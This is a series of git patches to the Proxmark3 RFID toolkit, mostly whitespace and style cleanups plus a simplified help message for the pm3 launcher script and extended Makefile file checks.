Structure used to store module information * Each module generates one structure like this, and the runtime collects * all of these structures and stores them in a circularly linked list.*/ typedef struct swig_module_info { - swig_type_info **types; /* Array of pointers to swig_type_info structures that are in this module */ - size_t size; /* Number of types in this module */ - struct swig_module_info *next; /* Pointer to next element in circularly linked list */ - swig_type_info **type_initial; /* Array of initially generated type structures */ - swig_cast_info **cast_initial; /* Array of initially generated casting structures */ - void *clientdata; /* Language specific module data */ + swig_type_info **types; /* Array of pointers to swig_type_info structures that are in this module */ + size_t size; /* Number of types in this module */ + struct swig_module_info *next; /* Pointer to next element in circularly linked list */ + swig_type_info **type_initial; /* Array of initially generated type structures */ + swig_cast_info **cast_initial; /* Array of initially generated casting structures */ + void *clientdata; /* Language specific module data */ } swig_module_info; /* @@ -714,18 +714,18 @@ SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) { #endif /* Errors in SWIG */ -#define SWIG_UnknownError -1 -#define SWIG_IOError -2 -#define SWIG_RuntimeError -3 -#define SWIG_IndexError -4 -#define SWIG_TypeError -5 -#define SWIG_DivisionByZero -6 -#define SWIG_OverflowError -7 -#define SWIG_SyntaxError -8 -#define SWIG_ValueError -9 -#define SWIG_SystemError -10 -#define SWIG_AttributeError -11 -#define SWIG_MemoryError -12 +#define SWIG_UnknownError -1 +#define SWIG_IOError -2 +#define SWIG_RuntimeError -3 +#define SWIG_IndexError -4 +#define SWIG_TypeError -5 +#define SWIG_DivisionByZero -6 +#define SWIG_OverflowError -7 +#define SWIG_SyntaxError -8 +#define SWIG_ValueError -9 +#define SWIG_SystemError -10 +#define SWIG_AttributeError -11 +#define SWIG_MemoryError -12 #define SWIG_NullReferenceError -13 @@ -2568,9 +2568,9 @@ SWIG_Lua_dostring(lua_State *L, const char *str) { if (str == 0 || str[0] == 0) return 0; /* nothing to do */ top = lua_gettop(L); /* save stack */ #if (defined(LUA_VERSION_NUM) && (LUA_VERSION_NUM>=501)) - ok = luaL_dostring(L, str); /* looks like this is lua 5.1.X or later, good */ + ok = luaL_dostring(L, str); /* looks like this is lua 5.1.X or later, good */ #else - ok = lua_dostring(L, str); /* might be lua 5.0.x, using lua_dostring */ + ok = lua_dostring(L, str); /* might be lua 5.0.x, using lua_dostring */ #endif if (ok != 0) { SWIG_DOSTRING_FAIL(lua_tostring(L, -1)); diff --git a/client/src/pm3_pywrap.c b/client/src/pm3_pywrap.c index e8e9b71b3..279b26d21 100644 --- a/client/src/pm3_pywrap.c +++ b/client/src/pm3_pywrap.c @@ -240,7 +240,7 @@ // success code if (SWIG_IsNewObj(res) { ... - delete *ptr; + delete *ptr; } else { ... } @@ -341,32 +341,32 @@ typedef struct swig_type_info *(*swig_dycast_func)(void **); /* Structure to store information on one type */ typedef struct swig_type_info { - const char *name; /* mangled name of this type */ - const char *str; /* human readable name of this type */ - swig_dycast_func dcast; /* dynamic cast function down a hierarchy */ - struct swig_cast_info *cast; /* linked list of types that can cast into this type */ - void *clientdata; /* language specific type data */ - int owndata; /* flag if the structure owns the clientdata */ + const char *name; /* mangled name of this type */ + const char *str; /* human readable name of this type */ + swig_dycast_func dcast; /* dynamic cast function down a hierarchy */ + struct swig_cast_info *cast; /* linked list of types that can cast into this type */ + void *clientdata; /* language specific type data */ + int owndata; /* flag if the structure owns the clientdata */ } swig_type_info; /* Structure to store a type and conversion function used for casting */ typedef struct swig_cast_info { - swig_type_info *type; /* pointer to type that is equivalent to this type */ - swig_converter_func converter; /* function to cast the void pointers */ - struct swig_cast_info *next; /* pointer to next cast in linked list */ - struct swig_cast_info *prev; /* pointer to the previous cast */ + swig_type_info *type; /* pointer to type that is equivalent to this type */ + swig_converter_func converter; /* function to cast the void pointers */ + struct swig_cast_info *next; /* pointer to next cast in linked list */ + struct swig_cast_info *prev; /* pointer to the previous cast */ } swig_cast_info; /* Structure used to store module information * Each module generates one structure like this, and the runtime collects * all of these structures and stores them in a circularly linked list.*/ typedef struct swig_module_info { - swig_type_info **types; /* Array of pointers to swig_type_info structures that are in this module */ - size_t size; /* Number of types in this module */ - struct swig_module_info *next; /* Pointer to next element in circularly linked list */ - swig_type_info **type_initial; /* Array of initially generated type structures */ - swig_cast_info **cast_initial; /* Array of initially generated casting structures */ - void *clientdata; /* Language specific module data */ + swig_type_info **types; /* Array of pointers to swig_type_info structures that are in this module */ + size_t size; /* Number of types in this module */ + struct swig_module_info *next; /* Pointer to next element in circularly linked list */ + swig_type_info **type_initial; /* Array of initially generated type structures */ + swig_cast_info **cast_initial; /* Array of initially generated casting structures */ + void *clientdata; /* Language specific module data */ } swig_module_info; /* @@ -728,18 +728,18 @@ SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) { #endif /* Errors in SWIG */ -#define SWIG_UnknownError -1 -#define SWIG_IOError -2 -#define SWIG_RuntimeError -3 -#define SWIG_IndexError -4 -#define SWIG_TypeError -5 -#define SWIG_DivisionByZero -6 -#define SWIG_OverflowError -7 -#define SWIG_SyntaxError -8 -#define SWIG_ValueError -9 -#define SWIG_SystemError -10 -#define SWIG_AttributeError -11 -#define SWIG_MemoryError -12 +#define SWIG_UnknownError -1 +#define SWIG_IOError -2 +#define SWIG_RuntimeError -3 +#define SWIG_IndexError -4 +#define SWIG_TypeError -5 +#define SWIG_DivisionByZero -6 +#define SWIG_OverflowError -7 +#define SWIG_SyntaxError -8 +#define SWIG_ValueError -9 +#define SWIG_SystemError -10 +#define SWIG_AttributeError -11 +#define SWIG_MemoryError -12 #define SWIG_NullReferenceError -13 @@ -1058,7 +1058,7 @@ typedef struct swig_const_info { #define SWIG_NewPointerObj(ptr, type, flags) SWIG_Python_NewPointerObj(NULL, ptr, type, flags) #endif -#define SWIG_InternalNewPointerObj(ptr, type, flags) SWIG_Python_NewPointerObj(NULL, ptr, type, flags) +#define SWIG_InternalNewPointerObj(ptr, type, flags) SWIG_Python_NewPointerObj(NULL, ptr, type, flags) #define SWIG_CheckImplicit(ty) SWIG_Python_CheckImplicit(ty) #define SWIG_AcquirePtr(ptr, src) SWIG_Python_AcquirePtr(ptr, src) @@ -1088,10 +1088,10 @@ typedef struct swig_const_info { #define SWIG_NewClientData(obj) SwigPyClientData_New(obj) #define SWIG_SetErrorObj SWIG_Python_SetErrorObj -#define SWIG_SetErrorMsg SWIG_Python_SetErrorMsg -#define SWIG_ErrorType(code) SWIG_Python_ErrorType(code) -#define SWIG_Error(code, msg) SWIG_Python_SetErrorMsg(SWIG_ErrorType(code), msg) -#define SWIG_fail goto fail +#define SWIG_SetErrorMsg SWIG_Python_SetErrorMsg +#define SWIG_ErrorType(code) SWIG_Python_ErrorType(code) +#define SWIG_Error(code, msg) SWIG_Python_SetErrorMsg(SWIG_ErrorType(code), msg) +#define SWIG_fail goto fail /* Runtime API implementation */ @@ -1213,7 +1213,7 @@ SWIG_Python_UnpackTuple(PyObject *args, const char *name, Py_ssize_t min, Py_ssi } /* A functor is a function object with one single object argument */ -#define SWIG_Python_CallFunctor(functor, obj) PyObject_CallFunctionObjArgs(functor, obj, NULL); +#define SWIG_Python_CallFunctor(functor, obj) PyObject_CallFunctionObjArgs(functor, obj, NULL); /* Helper for static pointer initialization for both C and C++ code, for example @@ -1235,8 +1235,8 @@ SWIG_Python_UnpackTuple(PyObject *args, const char *name, Py_ssize_t min, Py_ssi #define SWIG_POINTER_IMPLICIT_CONV (SWIG_POINTER_DISOWN << 1) -#define SWIG_BUILTIN_TP_INIT (SWIG_POINTER_OWN << 2) -#define SWIG_BUILTIN_INIT (SWIG_BUILTIN_TP_INIT | SWIG_POINTER_OWN) +#define SWIG_BUILTIN_TP_INIT (SWIG_POINTER_OWN << 2) +#define SWIG_BUILTIN_INIT (SWIG_BUILTIN_TP_INIT | SWIG_POINTER_OWN) #ifdef __cplusplus extern "C" { @@ -1615,12 +1615,12 @@ SwigPyObject_TypeOnce(void) { (unaryfunc)0, /*nb_positive*/ (unaryfunc)0, /*nb_absolute*/ (inquiry)0, /*nb_nonzero*/ - 0, /*nb_invert*/ - 0, /*nb_lshift*/ - 0, /*nb_rshift*/ - 0, /*nb_and*/ - 0, /*nb_xor*/ - 0, /*nb_or*/ + 0, /*nb_invert*/ + 0, /*nb_lshift*/ + 0, /*nb_rshift*/ + 0, /*nb_and*/ + 0, /*nb_xor*/ + 0, /*nb_or*/ #if PY_VERSION_HEX < 0x03000000 0, /*nb_coerce*/ #endif diff --git a/client/src/proxmark3.c b/client/src/proxmark3.c index 8d81a0959..c5f49b933 100644 --- a/client/src/proxmark3.c +++ b/client/src/proxmark3.c @@ -176,19 +176,19 @@ static bool DetectWindowsAnsiSupport(void) { #ifndef ENABLE_VIRTUAL_TERMINAL_PROCESSING #define ENABLE_VIRTUAL_TERMINAL_PROCESSING 0x0004 #endif - - // disable colors if stdin or stdout are redirected + + // disable colors if stdin or stdout are redirected if ((! session.stdinOnTTY) || (! session.stdoutOnTTY)) - return false; - + return false; + HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE); DWORD dwMode = 0; GetConsoleMode(hOut, &dwMode); - - //ENABLE_VIRTUAL_TERMINAL_PROCESSING is already set - if((dwMode & ENABLE_VIRTUAL_TERMINAL_PROCESSING)) - return true; - + + //ENABLE_VIRTUAL_TERMINAL_PROCESSING is already set + if((dwMode & ENABLE_VIRTUAL_TERMINAL_PROCESSING)) + return true; + dwMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING; return SetConsoleMode(hOut, dwMode) ? true : false; @@ -385,8 +385,8 @@ check_script: #ifdef HAVE_READLINE script_cmd = readline(prompt_filtered); #if defined(_WIN32) - //Check if color support needs to be enabled again in case the window buffer did change - session.supports_colors = DetectWindowsAnsiSupport(); + //Check if color support needs to be enabled again in case the window buffer did change + session.supports_colors = DetectWindowsAnsiSupport(); #endif if (script_cmd != NULL) { execCommand = true; diff --git a/doc/jooki_notes.md b/doc/jooki_notes.md index 418a2bc38..5217ea3e8 100644 --- a/doc/jooki_notes.md +++ b/doc/jooki_notes.md @@ -84,8 +84,8 @@ Note: Jooki doesn't like more than one NDEF record, so make sure you just have o `Value`|`Figurine Type`| |------|---------------| **01** | Stones | -**02** | Generic Flat | -**03** | System Commands | +**02** | Generic Flat | +**03** | System Commands | **04** | Tests | | `Figurine Type` | `Figurine ID` | `Figurine` | diff --git a/tools/hitag2crack/common/OpenCL-Headers/CL/cl_gl_ext.h b/tools/hitag2crack/common/OpenCL-Headers/CL/cl_gl_ext.h index 916c5189b..9668c72f7 100644 --- a/tools/hitag2crack/common/OpenCL-Headers/CL/cl_gl_ext.h +++ b/tools/hitag2crack/common/OpenCL-Headers/CL/cl_gl_ext.h @@ -37,4 +37,4 @@ clCreateEventFromGLsyncKHR(cl_context context, } #endif -#endif /* __OPENCL_CL_GL_EXT_H */ +#endif /* __OPENCL_CL_GL_EXT_H */ diff --git a/tools/hitag2crack/crack5opencl/ht2crack5opencl.c b/tools/hitag2crack/crack5opencl/ht2crack5opencl.c index 13f667113..6bac850dd 100644 --- a/tools/hitag2crack/crack5opencl/ht2crack5opencl.c +++ b/tools/hitag2crack/crack5opencl/ht2crack5opencl.c @@ -36,7 +36,7 @@ #include "dolphin_macro.h" #if defined(__MINGW64__) -#define timersub(a, b, result) \ +#define timersub(a, b, result) \ do { \ (result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \ (result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \ @@ -300,7 +300,7 @@ int main(int argc, char **argv) { printf("\n"); } - if (dev_sel[0] == 0xff) printf("Devices selected : ALL\n"); + if (dev_sel[0] == 0xff) printf("Devices selected : ALL\n"); else { printf("Devices selected : %u", dev_sel[0]); for (unsigned int i = 1; i < dev_cnt; i++) printf(", %u", dev_sel[i]); diff --git a/tools/hitag2crack/crack5opencl/opencl.h b/tools/hitag2crack/crack5opencl/opencl.h index 03ae9a990..78cd3d347 100644 --- a/tools/hitag2crack/crack5opencl/opencl.h +++ b/tools/hitag2crack/crack5opencl/opencl.h @@ -104,7 +104,7 @@ typedef struct opencl_ctx { cl_program *programs; // compute program's cl_kernel *kernels; // compute kernel's -// cl_mem cand_base; // device memory used for the candidate base +// cl_mem cand_base; // device memory used for the candidate base cl_mem *keystreams; // device memory used for the keystream array cl_mem *candidates; // device memory used for the candidates array cl_mem *matches; // device memory used for the matches array From 149236d8b3c20d202cfe042b807289fdd0429abd Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 4 Jun 2021 21:57:41 +0200 Subject: [PATCH 15/77] make style --- client/src/cmdhfemrtd.c | 14 +++++++------- client/src/proxmark3.c | 10 +++++----- doc/commands.json | 6 +++--- pm3 | 8 ++++---- 4 files changed, 19 insertions(+), 19 deletions(-) diff --git a/client/src/cmdhfemrtd.c b/client/src/cmdhfemrtd.c index e9c794645..6f635fdb0 100644 --- a/client/src/cmdhfemrtd.c +++ b/client/src/cmdhfemrtd.c @@ -386,25 +386,25 @@ static void _emrtd_convert_fileid(uint16_t file, uint8_t *dataout) { } static int emrtd_select_file_by_name(uint8_t namelen, uint8_t *name) { - return emrtd_exchange_commands_noout((sAPDU){0, EMRTD_SELECT, EMRTD_P1_SELECT_BY_NAME, 0x0C, namelen, name}, false, true); + return emrtd_exchange_commands_noout((sAPDU) {0, EMRTD_SELECT, EMRTD_P1_SELECT_BY_NAME, 0x0C, namelen, name}, false, true); } static int emrtd_select_file_by_ef(uint16_t file_id) { uint8_t data[2]; _emrtd_convert_fileid(file_id, data); - return emrtd_exchange_commands_noout((sAPDU){0, EMRTD_SELECT, EMRTD_P1_SELECT_BY_EF, 0x0C, sizeof(data), data}, false, true); + return emrtd_exchange_commands_noout((sAPDU) {0, EMRTD_SELECT, EMRTD_P1_SELECT_BY_EF, 0x0C, sizeof(data), data}, false, true); } static int emrtd_get_challenge(int length, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen) { - return emrtd_exchange_commands((sAPDU){0, EMRTD_GET_CHALLENGE, 0, 0, 0, NULL}, true, length, dataout, maxdataoutlen, dataoutlen, false, true); + return emrtd_exchange_commands((sAPDU) {0, EMRTD_GET_CHALLENGE, 0, 0, 0, NULL}, true, length, dataout, maxdataoutlen, dataoutlen, false, true); } static int emrtd_external_authenticate(uint8_t *data, int length, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen) { - return emrtd_exchange_commands((sAPDU){0, EMRTD_EXTERNAL_AUTHENTICATE, 0, 0, length, data}, true, length, dataout, maxdataoutlen, dataoutlen, false, true); + return emrtd_exchange_commands((sAPDU) {0, EMRTD_EXTERNAL_AUTHENTICATE, 0, 0, length, data}, true, length, dataout, maxdataoutlen, dataoutlen, false, true); } static int _emrtd_read_binary(int offset, int bytes_to_read, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen) { - return emrtd_exchange_commands((sAPDU){0, EMRTD_READ_BINARY, offset >> 8, offset & 0xFF, 0, NULL}, true, bytes_to_read, dataout, maxdataoutlen, dataoutlen, false, true); + return emrtd_exchange_commands((sAPDU) {0, EMRTD_READ_BINARY, offset >> 8, offset & 0xFF, 0, NULL}, true, bytes_to_read, dataout, maxdataoutlen, dataoutlen, false, true); } static void emrtd_bump_ssc(uint8_t *ssc) { @@ -506,7 +506,7 @@ static bool emrtd_secure_select_file_by_ef(uint8_t *kenc, uint8_t *kmac, uint8_t memcpy(data + (datalen + 3), do8e, 10); PrintAndLogEx(DEBUG, "data: %s", sprint_hex_inrow(data, lc)); - if (emrtd_exchange_commands((sAPDU){0x0C, EMRTD_SELECT, EMRTD_P1_SELECT_BY_EF, 0x0C, lc, data}, true, 0, response, sizeof(response), &resplen, false, true) == false) { + if (emrtd_exchange_commands((sAPDU) {0x0C, EMRTD_SELECT, EMRTD_P1_SELECT_BY_EF, 0x0C, lc, data}, true, 0, response, sizeof(response), &resplen, false, true) == false) { return false; } @@ -555,7 +555,7 @@ static bool _emrtd_secure_read_binary(uint8_t *kmac, uint8_t *ssc, int offset, i memcpy(data + 3, do8e, 10); PrintAndLogEx(DEBUG, "data: %s", sprint_hex_inrow(data, lc)); - if (emrtd_exchange_commands((sAPDU){0x0C, EMRTD_READ_BINARY, offset >> 8, offset & 0xFF, lc, data}, true, 0, dataout, maxdataoutlen, dataoutlen, false, true) == false) { + if (emrtd_exchange_commands((sAPDU) {0x0C, EMRTD_READ_BINARY, offset >> 8, offset & 0xFF, lc, data}, true, 0, dataout, maxdataoutlen, dataoutlen, false, true) == false) { return false; } diff --git a/client/src/proxmark3.c b/client/src/proxmark3.c index c5f49b933..d1507923a 100644 --- a/client/src/proxmark3.c +++ b/client/src/proxmark3.c @@ -176,19 +176,19 @@ static bool DetectWindowsAnsiSupport(void) { #ifndef ENABLE_VIRTUAL_TERMINAL_PROCESSING #define ENABLE_VIRTUAL_TERMINAL_PROCESSING 0x0004 #endif - + // disable colors if stdin or stdout are redirected if ((! session.stdinOnTTY) || (! session.stdoutOnTTY)) return false; - + HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE); DWORD dwMode = 0; GetConsoleMode(hOut, &dwMode); - + //ENABLE_VIRTUAL_TERMINAL_PROCESSING is already set - if((dwMode & ENABLE_VIRTUAL_TERMINAL_PROCESSING)) + if ((dwMode & ENABLE_VIRTUAL_TERMINAL_PROCESSING)) return true; - + dwMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING; return SetConsoleMode(hOut, dwMode) ? true : false; diff --git a/doc/commands.json b/doc/commands.json index 6753f275f..6ccdc03c5 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -973,7 +973,7 @@ }, "help": { "command": "help", - "description": "help use ` help` for details of a command prefs { edit client/device preferences... } -------- ----------------------- technology ----------------------- analyse { analyse utils... } data { plot window / data buffer manipulation... } emv { emv iso-14443 / iso-7816... } hf { high frequency commands... } hw { hardware commands... } lf { low frequency commands... } nfc { nfc commands... } reveng { crc calculations from reveng software... } smart { smart card iso-7816 commands... } script { scripting commands... } trace { trace manipulation... } wiegand { wiegand format manipulation... } -------- ----------------------- general ----------------------- clear clear screen hints turn hints on / off msleep add a pause in milliseconds rem add a text line in log file quit exit exit program [=] session log /home/phil/.proxmark3/logs/log_20210531.txt --------------------------------------------------------------------------------------- auto available offline: no run lf search / hf search / data plot / data save", + "description": "help use ` help` for details of a command prefs { edit client/device preferences... } -------- ----------------------- technology ----------------------- analyse { analyse utils... } data { plot window / data buffer manipulation... } emv { emv iso-14443 / iso-7816... } hf { high frequency commands... } hw { hardware commands... } lf { low frequency commands... } nfc { nfc commands... } reveng { crc calculations from reveng software... } smart { smart card iso-7816 commands... } script { scripting commands... } trace { trace manipulation... } wiegand { wiegand format manipulation... } -------- ----------------------- general ----------------------- clear clear screen hints turn hints on / off msleep add a pause in milliseconds rem add a text line in log file quit exit exit program [=] session log /home/phil/.proxmark3/logs/log_20210604.txt --------------------------------------------------------------------------------------- auto available offline: no run lf search / hf search / data plot / data save", "notes": [ "auto" ], @@ -3172,7 +3172,7 @@ "offline": false, "options": [ "-h, --help this help", - "--blk simulation type to use", + "--blk target block", "-b target key b instead of default key a" ], "usage": "hf mf darkside [-hb] [--blk ]" @@ -9063,6 +9063,6 @@ "metadata": { "commands_extracted": 564, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2021-05-31T12:35:04" + "extracted_on": "2021-06-04T19:57:00" } } \ No newline at end of file diff --git a/pm3 b/pm3 index cd7b56b52..d92f6cd04 100755 --- a/pm3 +++ b/pm3 @@ -37,7 +37,7 @@ if [ ! "$1" == "--list" ]; then else # hope it's installed somehow, still not sure where fw images and pm3.py are... CLIENT="proxmark3" - fi + fi fi # LeakSanitizer suppressions @@ -157,7 +157,7 @@ function get_pm3_list_Windows { exit 1 fi fi - #Prioritise USB connections + #Prioritise USB connections PM3LIST=("$DEV" "${PM3LIST[@]}") if [ ${#PM3LIST[*]} -ge "$N" ]; then return @@ -212,7 +212,7 @@ function get_pm3_list_WSL { exit 1 fi fi - #Prioritise USB connections + #Prioritise USB connections PM3LIST=("$DEV" "${PM3LIST[@]}") if [ ! -w "$DEV" ]; then echo "[!] Let's give users read/write access to $DEV" @@ -489,7 +489,7 @@ if [ ${#PM3LIST} -lt "$N" ]; then [?] Hint: try '$SCRIPT --list' to see list of available ports, and use the -n command like below [?] $SCRIPT [-n ] - + EOF } HELP From 9ae1ebc8a51209e7b2a749c8b40e067901d48b5d Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 4 Jun 2021 22:07:39 +0200 Subject: [PATCH 16/77] adjust make miscchecks --- Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Makefile b/Makefile index 5801d4507..4ba68b3ae 100644 --- a/Makefile +++ b/Makefile @@ -282,7 +282,7 @@ miscchecks: # Make sure recode is installed @which recode >/dev/null || ( echo "Please install 'recode' package first" ; exit 1 ) @echo "Files with suspicious chars:" - @find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" \) \) \ + @find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" -or -name "pm3" \) \) \ -exec sh -c "cat {} |recode utf8.. >/dev/null || echo {}" \; ifneq (,$(EDIT)) @echo "Files with tabs: (EDIT enabled, files will be rewritten!)" @@ -290,7 +290,7 @@ else @echo "Files with tabs: (rerun with EDIT=1 if you want to convert them with vim)" endif # to remove tabs within lines, one can try with: vi $file -c ':set tabstop=4' -c ':set et|retab' -c ':wq' - @find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \) \ + @find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" -or -name "pm3" \) \) \ -exec sh -c "$(TABSCMD)" \; # @echo "Files with printf \\\\t:" # @find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \ From bf8cd5c00b02e6bc9b82f0fb451e2798da6b76a0 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 4 Jun 2021 22:08:32 +0200 Subject: [PATCH 17/77] make miscchecks --- pm3 | 78 ++++++++++++++++++++++++++++++------------------------------- 1 file changed, 39 insertions(+), 39 deletions(-) diff --git a/pm3 b/pm3 index d92f6cd04..2bd874bf3 100755 --- a/pm3 +++ b/pm3 @@ -17,27 +17,27 @@ BOOTIMAGE="bootrom.elf" #Skip check if --list is used if [ ! "$1" == "--list" ]; then - # try pm3 dirs in current repo workdir - if [ -d "$PM3PATH/client/" ]; then - if [ -x "$PM3PATH/client/proxmark3" ]; then - CLIENT="$PM3PATH/client/proxmark3" - elif [ -x "$PM3PATH/client/build/proxmark3" ]; then - CLIENT="$PM3PATH/client/build/proxmark3" - else - echo >&2 "[!!] In devel workdir but no executable found, did you compile it?" - exit 1 - fi - # Devel mode: point to workdir pm3.py module - EVALENV+=" PYTHONPATH=$PM3PATH/client/src" - # try install dir - elif [ -x "$PM3PATH/proxmark3" ]; then - CLIENT="$PM3PATH/proxmark3" - EVALENV+=" PYTHONPATH=$PM3PATH/../share/proxmark3/pyscripts/" - # or /usr/[local/]lib/python3/dist-packages/pm3.py ? - else - # hope it's installed somehow, still not sure where fw images and pm3.py are... - CLIENT="proxmark3" - fi + # try pm3 dirs in current repo workdir + if [ -d "$PM3PATH/client/" ]; then + if [ -x "$PM3PATH/client/proxmark3" ]; then + CLIENT="$PM3PATH/client/proxmark3" + elif [ -x "$PM3PATH/client/build/proxmark3" ]; then + CLIENT="$PM3PATH/client/build/proxmark3" + else + echo >&2 "[!!] In devel workdir but no executable found, did you compile it?" + exit 1 + fi + # Devel mode: point to workdir pm3.py module + EVALENV+=" PYTHONPATH=$PM3PATH/client/src" + # try install dir + elif [ -x "$PM3PATH/proxmark3" ]; then + CLIENT="$PM3PATH/proxmark3" + EVALENV+=" PYTHONPATH=$PM3PATH/../share/proxmark3/pyscripts/" + # or /usr/[local/]lib/python3/dist-packages/pm3.py ? + else + # hope it's installed somehow, still not sure where fw images and pm3.py are... + CLIENT="proxmark3" + fi fi # LeakSanitizer suppressions @@ -150,15 +150,15 @@ function get_pm3_list_Windows { # Normal SERIAL PORTS (COM) for DEV in $(wmic /locale:ms_409 path Win32_SerialPort Where "PNPDeviceID LIKE '%VID_9AC4&PID_4B8F%' Or PNPDeviceID LIKE '%VID_2D2D&PID_504D%'" Get DeviceID 2>/dev/null | awk -b '/^COM/{print $1}'); do DEV=${DEV/ */} - #prevent soft bricking when using pm3-flash-all on an outdated bootloader - if [ $(basename -- "$0") = "pm3-flash-all" ]; then - if [ ! $(wmic /locale:ms_409 path Win32_SerialPort Where "DeviceID='$DEV'" Get PNPDeviceID 2>/dev/null | awk -b '/^USB/{print $1}') = "USB\VID_9AC4&PID_4B8F\ICEMAN" ]; then - echo -e "\033[0;31m[!] Using pm3-flash-all on an oudated bootloader, use pm3-flash-bootrom first!" - exit 1 - fi - fi + #prevent soft bricking when using pm3-flash-all on an outdated bootloader + if [ $(basename -- "$0") = "pm3-flash-all" ]; then + if [ ! $(wmic /locale:ms_409 path Win32_SerialPort Where "DeviceID='$DEV'" Get PNPDeviceID 2>/dev/null | awk -b '/^USB/{print $1}') = "USB\VID_9AC4&PID_4B8F\ICEMAN" ]; then + echo -e "\033[0;31m[!] Using pm3-flash-all on an oudated bootloader, use pm3-flash-bootrom first!" + exit 1 + fi + fi #Prioritise USB connections - PM3LIST=("$DEV" "${PM3LIST[@]}") + PM3LIST=("$DEV" "${PM3LIST[@]}") if [ ${#PM3LIST[*]} -ge "$N" ]; then return fi @@ -201,19 +201,19 @@ function get_pm3_list_WSL { # Normal SERIAL PORTS (COM) for DEV in $($PSHEXE -command "Get-CimInstance -ClassName Win32_serialport | Where-Object {\$_.PNPDeviceID -like '*VID_9AC4&PID_4B8F*' -or \$_.PNPDeviceID -like '*VID_2D2D&PID_504D*'} | Select -expandproperty DeviceID" 2>/dev/null | tr -dc '[:print:]'); do - _comport=$DEV - DEV=$(echo $DEV | sed -nr 's#^COM([0-9]+)\b#/dev/ttyS\1#p') + _comport=$DEV + DEV=$(echo $DEV | sed -nr 's#^COM([0-9]+)\b#/dev/ttyS\1#p') # ttyS counterpart takes some more time to appear if [ -e "$DEV" ]; then - #prevent soft bricking when using pm3-flash-all on an outdated bootloader - if [ $(basename -- "$0") = "pm3-flash-all" ]; then - if [ ! $($PSHEXE -command "Get-CimInstance -ClassName Win32_serialport | Where-Object {\$_.DeviceID -eq '$_comport'} | Select -expandproperty PNPDeviceID" 2>/dev/null | tr -dc '[:print:]') = "USB\VID_9AC4&PID_4B8F\ICEMAN" ]; then - echo -e "\033[0;31m[!] Using pm3-flash-all on an oudated bootloader, use pm3-flash-bootrom first!" - exit 1 - fi - fi + #prevent soft bricking when using pm3-flash-all on an outdated bootloader + if [ $(basename -- "$0") = "pm3-flash-all" ]; then + if [ ! $($PSHEXE -command "Get-CimInstance -ClassName Win32_serialport | Where-Object {\$_.DeviceID -eq '$_comport'} | Select -expandproperty PNPDeviceID" 2>/dev/null | tr -dc '[:print:]') = "USB\VID_9AC4&PID_4B8F\ICEMAN" ]; then + echo -e "\033[0;31m[!] Using pm3-flash-all on an oudated bootloader, use pm3-flash-bootrom first!" + exit 1 + fi + fi #Prioritise USB connections - PM3LIST=("$DEV" "${PM3LIST[@]}") + PM3LIST=("$DEV" "${PM3LIST[@]}") if [ ! -w "$DEV" ]; then echo "[!] Let's give users read/write access to $DEV" sudo chmod 666 "$DEV" From 73a9dff8dbf3c994c95631be5bf2a074b7149e48 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 4 Jun 2021 22:27:18 +0200 Subject: [PATCH 18/77] simplify pm3 help and provide shortcut to get client help --- pm3 | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/pm3 b/pm3 index 2bd874bf3..531f80b39 100755 --- a/pm3 +++ b/pm3 @@ -261,20 +261,15 @@ Description: To see a list of available ports, use --list. Usage: - $SCRIPT [-n ] [-f] [-c ]|[-l ]|[-s ] [-i] - $SCRIPT [--list] [--help] + $SCRIPT [-n ] [] + $SCRIPT [--list] [-h|--help] [-hh|--helpclient] Arguments: - --help this help + -h/--help this help + -hh/--helpclient proxmark3 client help (the script will forward these options) --list list all detected com ports - -n connect device refered to the N:th number on the --list output - -c 'cmd' execute the pm3 cmd in client and exit afterwards - -i interactive, stay in client after executing a cmd or script - -s 'script' execute a cmd script file and exit afterwards - -l 'luascript' execute a lua script file and exit afterwards - -w wait - -p specifiy which port to connect to + -n connect device referred to the N:th number on the --list output Samples: @@ -393,6 +388,11 @@ if [ "$1" == "-h" ] || [ "$1" == "--help" ]; then exit 0 fi +if [ "$1" == "-hh" ] || [ "$1" == "--helpclient" ]; then + CMD "-h" + exit 0 +fi + # if a port is already provided, let's just run the command as such for ARG in "$@"; do if [ "$ARG" == "-p" ]; then From 4200bb13760ebeff7c4e24e4b987bddd6ee9c645 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 4 Jun 2021 22:50:05 +0200 